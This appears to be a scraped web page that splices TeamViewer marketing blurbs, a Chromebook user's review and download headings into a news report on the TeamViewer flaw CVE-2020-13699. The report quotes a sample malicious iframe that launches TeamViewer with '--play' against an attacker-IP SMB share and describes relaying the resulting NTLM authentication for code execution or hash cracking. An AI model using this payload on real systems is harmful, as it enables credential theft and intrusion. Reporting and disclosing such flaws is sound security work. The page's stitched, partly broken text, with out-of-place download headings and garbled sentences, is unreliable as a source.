The TeamViewer free ‘Personal Plan’ is designed with minimal remote access features. You’ll have access to capabilities that will allow you to connect with friends and family, but file sharing and other tools are limited.
Teamviewer itself is fantastic; however, the Chromebook launcher, which is where I use it from, not so wonderful. It is basically a glorified link to the Teamviewer login site. Once there you are good, but it is just a link with signin capabilities. I can, and did, just make a link in my bookmarks and do the same thing, saving space along the way. Remote desktop access solutions by TeamViewer: connect to remote computers, provide remote support & collaborate online, free for personal use! Mar 23, 2021 TeamViewer is a remote control app that operates a computer remotely if you're in need of technical assistance. By entering the previously established access data, two computers will automatically remain. TeamViewer is a solution for remote control, desktop sharing, and file transfer that works behind any firewall and NAT proxy. To connect to another computer just run TeamViewer on both machines.
A high-risk vulnerability (CVE-2020-13699) in TeamViewer for Windows could be exploited by remote attackers to crack users’ password and, consequently, lead to further system exploitation.
About TeamViewer
TeamViewer is an application developed by German company TeamViewer GmbH and is available for Windows, macOS, Linux, Chrome OS, iOS, Android, Windows RT Windows Phone 8 and BlackBerry operating systems.
It is used primarily for remote access to and control of various types of computer systems and mobile devices, but also offers collaboration and presentation features (e.g., desktop sharing, web conferencing, file transfer, etc.)
Since the advent of COVID-19, enterprise use of the software has increased due to many employees being forced to work from home.
About the vulnerability (CVE-2020-13699)
CVE-2020-13699 is a security weakness arising from an unquoted search path or element – more specifically, it’s due to the application not properly quoting its custom URI handlers – and could be exploited when the system with a vulnerable version of TeamViewer installed visits a maliciously crafted website.
Teamviewer Download For Windows 10
“An attacker could embed a malicious iframe in a website with a crafted URL (iframe src='teamviewer10: --play attacker-IPsharefake.tvs') that would launch the TeamViewer Windows desktop client and force it to open a remote SMB share,” explained Jeffrey Hofmann, a security engineer with Praetorian, who discovered and responsibly disclosed the flaw.
“Windows will perform NTLM authentication when opening the SMB share and that request can be relayed (using a tool like responder) for code execution (or captured for hash cracking).”
As noted before, exploitation of the flaw can be initiated remotely and requires no previous authentication. The flaw seems ideal for targeted watering hole attacks.
Teamviewer App
There is no indication that this vulnerability is being exploited in the wild and no public exploit is currently available.
Teamviewer Download
CIS assesses that the risk of exploitation is high for large and medium government and business entities, medium for small government and business entities, and low for home users.
According to the company, the vulnerability affects TeamViewer versions 8 through 15 (up to 15.8.2) for the Windows platform. Users are advised to upgrade to version 15.8.3 to close the hole.